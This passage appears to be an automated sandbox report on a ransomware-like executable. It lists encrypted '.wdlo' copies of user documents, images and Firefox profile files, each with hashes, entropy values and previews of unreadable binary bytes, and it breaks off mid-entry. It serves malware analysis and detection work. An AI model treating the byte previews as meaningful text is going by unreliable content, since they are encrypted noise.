Preview:	VWDFP1.....'.av.W..{...I..6\r.'..@.X..e.<?.kU....`..0.......r...\|5..qY....\(..."$<8....,.;l.qIw..],..l.cy$l....C...2..g7........."(..m.Y8<........W..T..B.5..S.gK.,..z.z...M{....+..N.......Wl%.Os....c...l4.x.........g{.E\.(.0.7a.....LR.Fb..bFO...]0......{.w.b\T.y..B..Y.....kfI...xc_..\S..@.X^bO..r.A6E..o.. .x....'..\|.=.._o1.....Cf,......~......;..].Hu..E...'.....v.....\|..A......e1...+..lEF..Qr.t...ln:.i...G.vc,I..\|.K..;u.=0..1..$...../.b.0[.]..n..j.....mu~.5.....D..M.fx..W4.M....>k....>".../..$.w.......c.....Pf...3.*.7j..7.....O.c.........6.......,.jE.hr..8fi......c.w.....8.p x...'I[f..HJ..@.8lA.j-.=e2..Ohy..].8...s.......).O......T..H....V+nf^.q.~..rI........sT.....$.....%\|wRV.@...../..B....3kX6\./I.8...y.....x..Q..^3....8L ...dL.<.\|.....7z..w; ...W.Aa..........k...U...V.B4vq.!..:3.\|.$.Y o.Hv...~..3....Lm$.-..v..#...L.....{.;.q...&....w..[..`@.Q"$..AFo.j.O.=..HZ..~.Nj.p....}+..Uz5.P%.lR?j^..G+..p...!...#..<..=..d'..`:..&.....b.$..........Y

C:\Users\user\Application Data\Microsoft\Windows\Recent\WSHEJMDVQC.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870293444303692
Encrypted:	false
SSDEEP:	24:7tStUUFS/7B1vs2sLzUro60gk4zF8gQeJGrusD/KtXlXMjB2myn3zbD:BStZFC7BuGigFRNR9bn3nD
MD5:	893C90CE9AEAFF1AD035750C03342F38
SHA1:	F583C6ECC42059A23C7B9C6F3394E38409519405
SHA-256:	17D669574585DCF8FFB29549D3C14823853591E3697E9DC64A506413479FA081
SHA-512:	DC1C1FE8ABCAB00BFA2FE595107EB509377A9D7A49DD053DBA8F0B0C4770F260B0FF2D499C0FC550425EDF6F28F6E91301E3A711ED5625444B91B3B01A65D211
Malicious:	false
Preview:	WSHEJ.s,$...`.b..._.dRwR..h..1^u...W\|.o.>......5.1.u.............?...M..({t0..[.....{...Y....^%M.C.<jgZoP8Y.....`...Mu..c.....q-.Z3.b...^..C&../.C.#........X..&C~...-.x.9(Rp.i.T.......sO...&.UH-.oT....".(.@.....@,.!.y..7....AY..>........-..'..2..Q..JN{.!&U.G9.RG....zq.M...UN...j1.c....<....i)...L... ...-.m.XQ...".....(....@{. ......D%....K@^u=y.......>..L....G....<~..9..lh%..'.8...`...[.:..7...6..3f..&B.tA...\|..:'t_/.....{@...kA_.z.N..".`..Q..=.f.....fAIz.....$.[8...a}.!...+8 \.......Q57....hh.XX.......%T.wm..`......:..7.../5f.1..8.v....%.<C...sd.....Q\.D.....Ye.....V.q.#.n'.!.Z....T..#....zQ.N...B7nb..c_v..z..AR....Z...7..9.J..j.....Br..-Kv.`.$.V.v.~6'............%.G.....un..A..qy....(.qlX...k.i...D..Y...8E..q^..$.\...%.......6<.N...)...-....w.;.z.Qz3x.....DW..B.,..x.k.q..\|....'.D..Oy.h..a..."U....9.+G....8.87..t.#r.....-F;.$+.c...{......#....7n.5.HY.}...g......Y.$foV.m.... ....%S.z...dK.....?W8sc..2.n....].9Sa.(...~..!x..W..4u..s..d...

C:\Users\user\Application Data\Microsoft\Windows\Recent\XIDWCHVKBF.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873917279455673
Encrypted:	false
SSDEEP:	24:swawpr+zhPOL0n+aD0/mIe/ellLiST1TEoNYAyUeU11LCjkRLyAZ6SczE0EOZT3D:sRG+z5Ow+mIe2zr2oW9shukRLGS+pTFT
MD5:	E51A3A796D57CDCE9151524A0046F470
SHA1:	A2084197AFA4C231E86B0EF2864EC8F2D1820573
SHA-256:	5DE0EFC794E36FD0926BDA565D5397BF8270E0A28BCF1A7AF169F7A087720DB0
SHA-512:	014DC686CE98604CD3BCF88BD195924D19DB87C52B915536302B5662CD50EDB976CB38A4B6A2A7B136F77831976381B1ED08D575AF38FCC4A8E57C286829F4D3
Malicious:	false
Preview:	XIDWC..3..z.t ..Nk.+....+...2E.....!K..?...~D.%Uo..Ts...6.2.".D......'zl.W.d....e...r....1q.J..Gx.uM...$......w..h...y;....p@.Un..PO.....R9...B...H...Mk..b.5Tf.&...)^.u.}.lzuO.[.....=c@p..,".\...n..U:...8(.\|.~Nu.....O.\.G....=>....o...n.....L@t{p....P;9..a....e..^.@rkOy..#.....y...p:.K......~......Y.pNB....-D[..b.e..M...p.....Z..,;h....a.q.JxH..B....p_-.dS#....l..?.....&v.z....0..x....[.K..P..,...:..w...B..3b........0aX8.w6.-c..0.6...z..z..T-.lj.`.G..h.3~..p.........o.b...V.9:..?.i.s(.{..3..%A.t...Q..M....@`.v..QS6&...M...wc.ml1N...2.#.hX.W.T..src...f....<...fO...?O.'..xH*..R..w?[..."....C....:...#+m/.n;b........X..d..X.....F.).(...G$..v\{...{...%m......\...HO.......n.}'...........P.....H..].................G.=vVx....q..\|....T.!.g..m\....L.p.E.....)..`..(.V.Rr. ..H9^..._{pl.....`>.Y...s..4z......#&\g.....}...`S...,.Y.....T....P...h.^...8].t.......A\...I.......;.j.X...R..]..... ....$&..^.....z5.1)x.O..4.j..+.p..g.3o#.0gLiA..Bd..A?V..

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZGGKNSUKOP.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.869339896999317
Encrypted:	false
SSDEEP:	24:IMmdBqCeQ2sqKsRYW4oesHCm5yd3Lnffl8DYkbAiChjQjQp66F2Ib3zbD:IMIXhRsRXHesim0dFRi7jQp7FT3nD
MD5:	9292ED27E9EC3991363816EFFB5B1B97
SHA1:	C2B7C5450ADC033BDF5C0F899C56E7F7DBA50B8D
SHA-256:	9E3EC883C1051C809FF5BD22CD58BFE029175567217522E65D7334A77F4BBD19
SHA-512:	93E938FE2B4E48D05DB71CC7340438D772DAA94E8E3E1950A8FFA589CB32F48B45CAC159D6AD0F183586B1D46022621457568821D4F3CD228B3C157F8DC3D05B
Malicious:	false
Preview:	ZGGKN._f...q\|}.u4B.....k/q.~-h..H...}......."...p7e.ybm......ylm..y8?.Tn^........q...:..Y%d....K..X..G....$\.e..N3.....QOC.}...$k.v..3..}....S..k....b....M+...&...6...z....o.../.`..R.BMp.+..U....R.LK.YT....$.%}...i......!.kD.Ck....,..my.zR.......o..0U....g^@.0...<d]../.)5...[.).a.$...3Ut`.....t..Nz[.wHV.....P..:4..c]..a.6.y\......"...G.n..(.s.~..7$..Br4{.V....:.WE.....B.'......T.v.(..rx.....W.&..=0.....d..._..o...Q........\...g...uD\|f...vP.F.\g..h....9i.R4..xy%n.N.4..e....v..Q&....'.L-./.2F0..p....X.8.m........c.q......j.2..d..xl.'..V...y.W........g.F..I\|..l]..^..N[.0.%..\|.p...../..........D.!.$.\.)....v^I}A...f..4IC....E..;.$i0...t6?x..@..!....cxugZ..25.Q..gb.q..a1..3...@/Pe{.#Vuj...Oq,XU.\...,..zNZ.eQ.'. K`=..d.....g...u....V....h.h.^i...^.fS.B.>.'..3...Q.....J.&.@3...x..IN.........Z..k...e......0..-..!o.......u.<..7..^..l.kr\|...f.A.%...o)....\|.f}..$.q.{.\|vN....h...`.+..%.0.g..T....V.~K..<#...N...@z......r...A.....W....2l..`........,

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZGGKNSUKOP.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8663480935032215
Encrypted:	false
SSDEEP:	24:G4LL1sw4IlOzR6EB6onabFafmbObuQIk6GjwJaMr7WI39wB2T3zbD:GYo5B7EFafmbObuQIL0Mr7WiCA3nD
MD5:	31EF159824D0A1AB9892B95C84908DB7
SHA1:	4ABA592FEA68A67E63B56E0D72D284F369C608B8
SHA-256:	4DE07817EED8447DBB0362B7ABD1C41D3239C81947AA22A92E61060F0BDD39B8
SHA-512:	2274297BF5D7F29BE5682D40CE35DB3F90BF6A07F3CB40B9D5B4B6272A5D2D21387A4152A839ACF4835A889821B631823F45A9960D6E627E1AE8C45FB97042AB
Malicious:	false
Preview:	ZGGKNT.U...h5.Dkb.....4\|<.I..4."....J3....Xy.`.i.......{....I.A......x[aX.n`.?.....[O.......Z.C..8.....@X.e...&......;[.R\....u._....B.^..1.M...R.../..kR.".:.....L...1^.n...t..N.jL.../k6......TZG>M>...z....Vu.o.'4....r...;om......yz..B..y(..\A..._..X....Z.he...i(q.Q..^.X...z..+..U.u......6./>.6{..i.c.h6..H..T..(?..r..7@eL........E.'...Y=...z.......=\y..]..=... ....B....,..@..h..s.!..(zD....V&........._F.'E....L.2.....H.&d..#.b..'r;..-.B....Ni.gca4.o.....<<.(......{r.B.<..F..E..J.N..d Z5.C.p.nL.to.\.x.!)2.7RN.E..L.fg.aT.2......X.0.0....O...G....b...F=<.hz"........Q....0...!DMdGR3.........`...wM...L..0_#]W{\|.q.%.L.R..<N..&.fY.-......S.C......Df....W...o.JX...i.G../AB........Xt..0.......^F..F2.P..P..%.h...p+f.S....G.....m.ls...'..Crs...X/W..LF...aR.K.z.....I..h.6k..I..wT}.@..a..L...@F.~Sl......m..........ky..<3...M...!.E.'K>.....T1.*b.#d.S....:..\`2..\.{P,K..w%.%..2.......w.Z. .N..ma...Sju..O..Pr."i X...{.Atd..../...Uew-..Qp...&u."9.?@

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZGGKNSUKOP.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861846297525586
Encrypted:	false
SSDEEP:	24:znFpRtJCYzLcUyWjT7QGdRErRXbhsAiF6griz93zbD:znrRLJRyWjT/ErRXbh/i8QiZ3nD
MD5:	22B5811F46012FFD01D3CD65D1358A06
SHA1:	274AD3ABE6CFCD48C647BDD93A9CD2FA47E99B39
SHA-256:	B6B66D1CA000AD26A9ED8140748F6BB971188B353B5E19B2D20F445162A215F2
SHA-512:	8D7F85D2254FEB9AD57D1F692602B9CAF26A79D0B9BB73D9D2212C53E63F3029DB40C978AF1E59DF891CF901EBC56667D41260421DC066871B645E1BCAC6B9AE
Malicious:	false
Preview:	ZGGKN.....t..+S.....pK0. .~....<.........l.... s..2.;.F.z..#.)hV.N....y...!.&l.I.l..?M/.......&i.;.._.E..... G..K.H..2R.0..\|\|X..T..l.}@A...c K.....@..L..fl!G.....p...<C(L...:z.`a.h..#.\|...Jl......i.s.....qm......n{R....)t.k..=..:....4..t7}..............dP...}......uk...C.....)......w.k.F..U]K0x.W.........kY..O1.T.s....l..~..BZq.o.Z.8.N.c.8..[.......ZU..z...6.0....f..j....t.9L...(..}J......U...R.k...<...Q.....Y.:.}@..j....8......._.:.}M....X..<wF..a..TZ..(.+.V.A2:.+....%^........W..a..TY..+..AY...L.>......!.[....>mO.......'z.]@3..8.h/..id^_...........8......PP......l....g@ei9...SG.y........,.v9z\...Rd0:.Q.W..!.L....\/8..e......yN.i..B..969...9..9.HC...Bq.\...\.y..>R..@.....uYtd..h.~.D:..w..Z...RM-...g_k..f.+).].^M.Ip..0\|.]......./...:...X...hhi`...A...P.....QV....t3.i~........%ws...;.C.gO1d..hu.......,.c.?.4...B=...0B....q8bkvq.g.<.@."..k..KqF.lo..}m.pA.1`~1....*.p.X...Ca...Tf\.;..."........'.$T.>....U..2..

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZIPXYXWIOY.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842162791590353
Encrypted:	false
SSDEEP:	24:4IcGbiIxL5dgirybGBpgXbRylEi3q850yTY7usfuNWdN8jV635bkzS/3i3zbD:OGJQbSp4cEv850yUqs2AN8s357S3nD
MD5:	A577E4482F96662CE9CDDD328317CAB9
SHA1:	A9C32A56FF1B58B5940541BBE0A212EAC15E5377
SHA-256:	EDC427CE65E4C62806D6837E7AD6A6A006866B1D08703D630CC15527538A1250
SHA-512:	4678A91049B9388330B6046BDA9316CECC6CD30DEC06003647830EFB7F841C940173852CABE252D25A3B04B8B551EE0FA123172C082434DC701263A639085D52
Malicious:	false
Preview:	ZIPXY..w......X.91.....J.[nb7.T..\|Z.N..[.......V9...t.....h....3v.3.&0.....P.Al.E....w......-t.b...@...~..2....q._....<f..._k.f..'1....k.Z...2G.\|_...sa...s$......6....x._.g.&.4.o.)....."./..1h&.=._q.]..x..h..6K.!........?.Kyp.^.@....Q..R.6.<..q..V..D..A+D..P. .u,.y.I....W..2.;....Z.<.....}kA..l&..F.e..b......L.f4.....".E.fX....y...{.p....u....rJ..].0.c.a...Z.8h...XA.'.%...2..5.3H..l>../S.u..M.`.%j....%uQ..t.F.&E..F..i.%..k.b.......M.-5.b..a..a. .n,...VJ...j;%>,...^...s2.\.....<..<..%6.GV...%.x..<.l...n.S.W.rR..Q..&>h..z.a/.Z.uZE.....oJ.1..3..f......wk{.....R..Pz.T.w..LZ.V.}b.v!...}..~.c."...c..=.w....5m;W.T%...V..y~%.d.....2X{>.{.Y..{.O...W.?d..r.d.,....8uzr....9.v.[,...$........M.'...o.b....s.)..2O^..^.'...`.HC.`..q.m....:.%J.7,..X...S.p0.(.e..<#A.tf..g<..t}o3..c..8..I'.9...SA...(..:T......-...~..r..w..%.8..a5q.^.h....j .L.^3.E.[.[...R...}..\^..x.....GD......P.........~C....2(...<TY....Z.......uE....sV"..n...I...@!....+o.u37.y~... }

C:\Users\user\Application Data\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	JPEG image data
Category:	dropped
Size (bytes):	68018
Entropy (8bit):	7.997157930028605
Encrypted:	true
SSDEEP:	1536:fEQ8CTCc52RsrBP3Rv+37XNioB8i4rE9+tEvnGzYrwZkXV1s:fN/4ABPYrXNPB81nzYr/Xs
MD5:	50749F93983E757BCA3B5AFFEC3964A8
SHA1:	4718D02B187949F9EB5CA5C830C9CD1F72C0C95C
SHA-256:	D84206C9DF32E78BC8762AFE3FD70B37400478122C532AAE64DE6698C945BA69
SHA-512:	DC1E7BC7FFC995DDC5220C956ED238DE7C043517695232D8E0917D89F9D6ED34C4AB6442E59CECDCB78C082D843F88B8704F0E346A155F32C3B75052036B9FC2
Malicious:	true
Preview:	......^2&D+.%...6...P..n..%..4.....}....B@....Ud.Wx..?.._q.......S.b.V..k.`r'a^oO..<.=%..r.b2.....Za..-.343.9.R..Di.R.2..m@.Qjv...W.o..>.....v.Z....Sm.P'.h...S.8.4.SP'.j..%.Q").V....OJl../.......w.....S.=g..n.w........g......<..'.....J`..k..r.ND....3.".......ND#../T.6....l&z8j.\1.~.G1b}...}{.RA.:.i....=?.B.}..........@,I^O.F..&....m..t..O ..(7.:.&...g....i#.,7#l.....+. .D.Ry.1.>.Z...X4./.....>7B.W.>/.B3Og....=.?jX.%.,...-......2.vX./y.w.<.w.Vb..!..?...{.\|.y."..(=z{h4y..fE_Oj!c!.l.W.w...'...B...4.Y#.k..?.r........".c.Ey!.o.$...P.....kN.q..D...xM..8.R.i...Y..\N{..?...[.e.L./..F.y._`[..Z....K.M....R..i.](-...?].D.W.e....F..s.oC7..et[..T@.Q....Z.....Ok....sC..u..x5o..q.F............IJV..G.........b..-i.d...y.$...'.Eo*.3..f.[...Uf..?.......=<......8....a.q.........r....S9..DJ._..SrG...k .9..o.1.yHv...[UF.Bi...G#-d..`....L.x...b.u'..+.(..M....wN."#X./-".n.q..^V6.x:....-~..+.m8J.F.J,Md.J08.....=.....M.gN_..fjj.U..U.=._..N..B`.M.W...0

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\AlternateServices.txt.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.708235251921167
Encrypted:	false
SSDEEP:	24:2JuSixHLeU45CJdCS7KGSbSYJn67XkM5iFHVfK3zbD:aunqrCJb7CZq952K3nD
MD5:	B41503F3B8BC43B65894BFED6A8A5F36
SHA1:	CBDF7CA76AD7F8B9D0D1DDEFF4899B0D19A0C17D
SHA-256:	9907E7831902F5623BCC8F6424975B916D76818FD00C7576026A1C17E92F7F34
SHA-512:	FDEDAC748D3FC9084B6A80A78B17E4BAF1A301F7F49704013843780A4E04244147B62C56E02595AF79B5D12B2EB0F8A4C1DAB8C6131108700BBF0DBD8275578B
Malicious:	false
Preview:	https^p.......h$.[q....G.'.hV!..S.n..#9n....OS..y..a..._..".{....t.......j0";..]WR...H^.h..w,Kb.U.du.h.vjf.V...p.....S.f..P\|0Oh.......ID.J.D.(..iP....n...15.l....^k_on.,j.........C.v=....Q...s@.<....v....TYO./5;....##d(. .2..T..d.gA..P...L."..h.".M..ZU..].0E..$.....i%7..P....s%O.p.5.I..!.).x...H...ju."..#.I.c!e)@......I.ne...?...QO..J.....n...J..huT)...]d.C......t..!r..?..4...d^......8+[....ry......<...`....-..F.....3D.....b..p.:y.)..G0kI.......=.......b+$.Z[q.n..5....)..)=.l.{.C.<...o7.k.#<.......W..E.X...L.w...#...s5.G....o..k..A..F.J&......F....T.....c\|.......k.*..-.o.A........@._uC..v....3b@.&b'O.ikS.A.}.R.N.A......qE..W95..ET.."....Y.=Zmu."'bI'6...d..oZ...D..j..Xi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2531
Entropy (8bit):	7.929959603695998
Encrypted:	false
SSDEEP:	48:YgnKccZvbJ4YbrjeV1BC5QZnFByPExO9ZPk+OthXtdotW3Rt3nD:HKXvbJ3vm1BLhP6ZPqnHuW3
MD5:	221601F2819C60371468DA4DA7AF1E77
SHA1:	64D04AA91FA0825E1EF5CF894F1FFCCD304BE21A
SHA-256:	9407DC5F8E08133448A903CF040B0AE5FAFF4832BF70B2C3336BF33B20CF0D6B
SHA-512:	D19419F52805F0D193233B003AD288C8DCD0EA2EBDD56AEB3D093448A59AFC236CA4EBE4599B287252B34FDAC70AA630F0F77DC0DB5500F8D3B453A22AD2307D
Malicious:	false
Preview:	{"csv4f.g.q07.GLh....^.s,...n.e.^.#.4..#.P<...T.V..%.w......z...L&..../."...3.8q.c.HLK.<.n:...:.8..N...>d7.0..K.m2d..T....r9.....E..X.=~....$I...A..9PA....:.#B....>$....3<.....i.I.>..i..2).....C..6.{..U..Y+...;....owK.P.9.....6U.....6..uK4..m.j.....N}..<..sJ)N......5.......-X.t#{.u_..I".......3^E."Q8....x\....Ig&Fb...M..)..l..]...I...>..M..hg..f.....KF.wni....T..#.........O!"b.........v^..h+-.[....E....:~..H9...$.....9...5..?p.....\|....{.<.h...=.O......v@.=..<.m....:.z..Y...c.S..N.m<....X.iJ....o....E..F.^..X.....o....u...q.....p..&.#.W......X-...B....}..~....b.....@....K........HwP....0Z.B...y)1..t..P<j.....I....!..[.kS.\|..P#.B:N..v`.4..../.rf..F.M..[.6.xk8...A..g.[}!....j......(..m.....g.2... .e.^_.....M4.^....`..5..!.......~.G.0>.I.]...!."$e...j..Qw.}m. ..V:..Ua.R....R...J.`vB7h...@.,..v.I.......A..A:'...$."S..,.9.&..f..z.Vq.~o.=.I...h..-4RN.....'...Y....4.5...Q..N....$...TL......g.........L..Iv......u.T[.'>+.Sk....#.......".".

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\SiteSecurityServiceState.txt.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	979
Entropy (8bit):	7.777456322455818
Encrypted:	false
SSDEEP:	24:mSeZA0UxIpP6HPrgGf6kFSDFkpWhB1hD3zbD:mSe20IIhWCkcD2pWhB3nD
MD5:	6ADB902BD0E0A3CEB6A3678C045818DB
SHA1:	C708B294DC9A98A69D4E65B2328DA914987F74C1
SHA-256:	45D1DAA52062A7912E6B0B9EE4085351E037FF5AD8BB57DBD3696C4431D01FFC
SHA-512:	349570B1CC55C9A1AB44B2B570B008E8B6E4A307223095237E189F5CFADBEC988BACDEE9831899821DAF62F58F64D9E9D7BD39936E6D7517724FBCEE53371A49
Malicious:	false
Preview:	aus5.[..5.%.5.%..\Nd/.X..k.Zy).C_.uYt/Y.qp...aBw.......o.y..M...r5"..aW6..O.&...G).$uZ.(....x....K=.?.X.....5....2.{r.....cW#.....qnc.6..........MqI..\.8.1.P......p...<..0.1b.....>Pa.c..C\|N...Lx..W,......y>...._.....X;....N{....5...^D>..v=.P.....jn,.M'...o.:N....rK...k......-8.#...^......F...&\-...V.....H.e].b7.}3??..6_.Vy.k....Dg.:>.).7yy........#...wVn....qw....Hg.~...i.....I....No...i..61.......k....lmw.h`....(...4.Q.'........:m..3(.kd...A.GA..t$....>c6.m...%7....lHF.>.....-;..`.<.....e...bqC.W.f...g.0W.PK..o} ....\|.%.&.].`.......\|.AwJ..0mG.#...hkr......\|fjc.].i4'Iy`[34'..~..f;....D.......5..~.e.j......:....@...t_.:(..T.M.K8.7....w.ct=..-n...g._..2:.h.T.6=...{....1..g>H@%a.z#e........a..w..<.6,.>`.lR...'..gR....<].4....!...4..L...(\|...Eg..D:y]4W..M...s".&.d..Gv.....10.!2....LW.....6%..m..o.K.Y.0\T.x...7...:.[....G..S.*..pb..._I.F.U..z.XT.osN..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	5735
Entropy (8bit):	7.959848947452441
Encrypted:	false
SSDEEP:	96:w2Y0/hO2VLM9KM616VMnCgGVQRImieITWp39In6eKkBPg:DLFKPE6VMCgcQ1ieEcIn6eKko
MD5:	9FB5848DE2A1064CC1756C94625E8EBF
SHA1:	ADA3A5D71AEB8D10EDF762B4E19F465AF529D00A
SHA-256:	57BB515F0C918541514535FD21749FBABB8BB7DA76C725764423C9525F4967CA
SHA-512:	4CDF8EE5F73DAA3FB79280D36B0A82D3345BD19BF7CC02ADB96409B3446B878F5CFFD3126717656F9B9B67271338F000FAC3C35AAD8144C3F5BB0D85D9C552A7
Malicious:	false
Preview:	mozLzs.fE^.9..Ya.g.....K:.i...NN.M..f2.....Iwh..f..>:W.....;.".......]..K.....P.A......S.GEat\"...`...7C...7......O.&D..!BC+....lImKg.njQ.$j.U.g1y._..U....aL.&.j....SlI..;8...!...JV...m..l......s...}..e....MB..T9......a}.....".8....[...."8A.}(.s.6;.z.,..:.#\|S.5....VY9{.H=O.J(f._.......K.....Q...).,.$.o._.K..F_8...e5......o...7.f".XS..@.@..UM..a..:..&....St?j..D5L.$..9.:.r..n.:...#.1.~.k.j.A..5S.v..A(.....].....g.PY.M@.X....F.......t.W..uM.f\.la.iY6.F]...Q#......_..}]....VX.G..k.........W2J9,..l..0..D\.....qu..h.Tj2]w.D...\....D.n.P.R......qK5.{}....Q....:.....K.B..JS..V.. ~....g......Dx.h..r..(.. ^=....[...c..{h.....5QJ..4."/.......w.:B..\|O.7vH}.]x.a.h.RT.t......m.+)@Iw5....@8^G.=^.7....$8..VE.>n2...%~.l...e..;.kk.e.<...$...?..........V.1..o...F..e.sh..7......'..z'.....O.#+....-.E....+M.X..Q.{g."I..<...n..F.b...)...f.?....q.m..u...^.\|...[.O......{T0...+6z.z.....7...5q..w.J.)..F3..9r..J..........m2G.......g..^iS...H...R=..`..dlw.r.

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.29038006776975
Encrypted:	false
SSDEEP:	6:YWGYgrEw/+8YXsdHmseEkJ3cszOJHISQ10tUnJ7SxtsESDHZ0UAOsVolWbz6WciD:YWGYCEw/+8YsHjeEkJ3cszOpI/jJ7zbK
MD5:	E0B2E6A479A000BDE482A3D4B2F8C288
SHA1:	33CA9EB43B5BA9D225FA00B50D8F5E5964A9339D
SHA-256:	68BFDD848DA295C8B72C1550CDCB7D207DB4B82727813B99B08C5EA00467FE21
SHA-512:	9FDDB98B680EAE6D81B48AE228DD8267B43E40AFF5E301F9EBE1F59983B1582E91B15BFB23623C9952055ECFCD505FC7EA2B5173A1DC663B9C53873E1BB375B4
Malicious:	false
Preview:	{"sch.<.....~.WW.L..WId0.......R.....n..}......=hQ.;MT.......jy../._.V.....B......CCs...J.u.Er.......f..\|E..YdvBJ.'...I..g.....dIy....F...1..qE..9.m.VT..> bI.c..__.g.....e.........5n.ZJ....s....O?Z.._.......G.L.....%...#..K......K..".f..D..1.7..i.._..-..@..;.a.-n.....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	229710
Entropy (8bit):	6.27761970491901
Encrypted:	false
SSDEEP:	3072:LStA6SlcLBjFmW/okhtThcxgLTZb/XqbHAbR5WwePcdP13:VlcLBZmTutMgtfqbQR5wc33
MD5:	6D4E05418FA6E30B52640B2D7A70835A
SHA1:	78508AB7FEA21A4D8A5CC1E478236CA743FB720F
SHA-256:	0191CD8D3E01F21683F89314368417F47723289CB6107EA824F6B2711EDE9D6E
SHA-512:	5BDBFB39B86A5AAD406CCDAD9B8E76ADCCE08942078421D18C910DAB31E1E510F1E7BE27AAE9FE1A2695DBA1BCF7C04E5FA416D677A0DA45E5CBB39C7576F9B7
Malicious:	false
Preview:	SQLit...M.oY.#...3..8.J.B.. m...+.b.... i.3.l.Q..T...d.WH."..kz..k..5..%..+.5...$M...C.@..1a...i;...-..ae..j...<...>....#....'.....POk`L.b.dX.\....5...p...G....x..F..Ib....&..c}.Ar.7...q<f....3......_d.F..3.....z.4s.3<M.$H...2.t..ys'..S...4..NQ..._.}.:.=....[x.s. 1.i...i.p.j...j.L.,..)q.....OK1.}xf/.A..).c ....{..%.l....Dzr.E.v5......3U.Hwn..A......4..%.b.....8q.#.N.)$...g@.I\|....j..Y"..v...<l.2Xz...M..\...2F...C..:.\|.....\.j..[p.......-.M...U...`t.g..0..v.u......Mb.u.T2..M.G.'..."..~...4...-=V3~.O...;.\|t-.Z..6...ZF=`T....}w.wi..'..-8...h..t0....%b....K..........x8.K.'....d.mg{G..u..3p,.....`.v.R.5.3,.M.z....$..Q...e..JC.=q.@..(t.V.Uw.yD(.'..R.)k..'..B o.Q.Nr......$.......1.G.T.&....+N..j2P.....<... p.C..w.....:....^~8._$.........k.r....$p..4!..L.h_......`N.-e....Is..D...2....c......W.....'....]?.....=......n...\.7...I.SG.S.h.;p....F.A.9.x...0H.LX.......VG_....e.Jd....M..aF~...5J.3_....^.....!....). ..)...[....z.b6...k-...y.......],..

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\containers.json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1209
Entropy (8bit):	7.823872039313329
Encrypted:	false
SSDEEP:	24:YWTOWAUMBBAM1BC5C07KTDQrtg0wxKmkVjd7W1IMjqgj8Gk0Uqc3zbD:YWTnhYBtkegrLIXkVuWgjMEc3nD
MD5:	F544D62C9DB164FBE8E1F86CF6B4E757
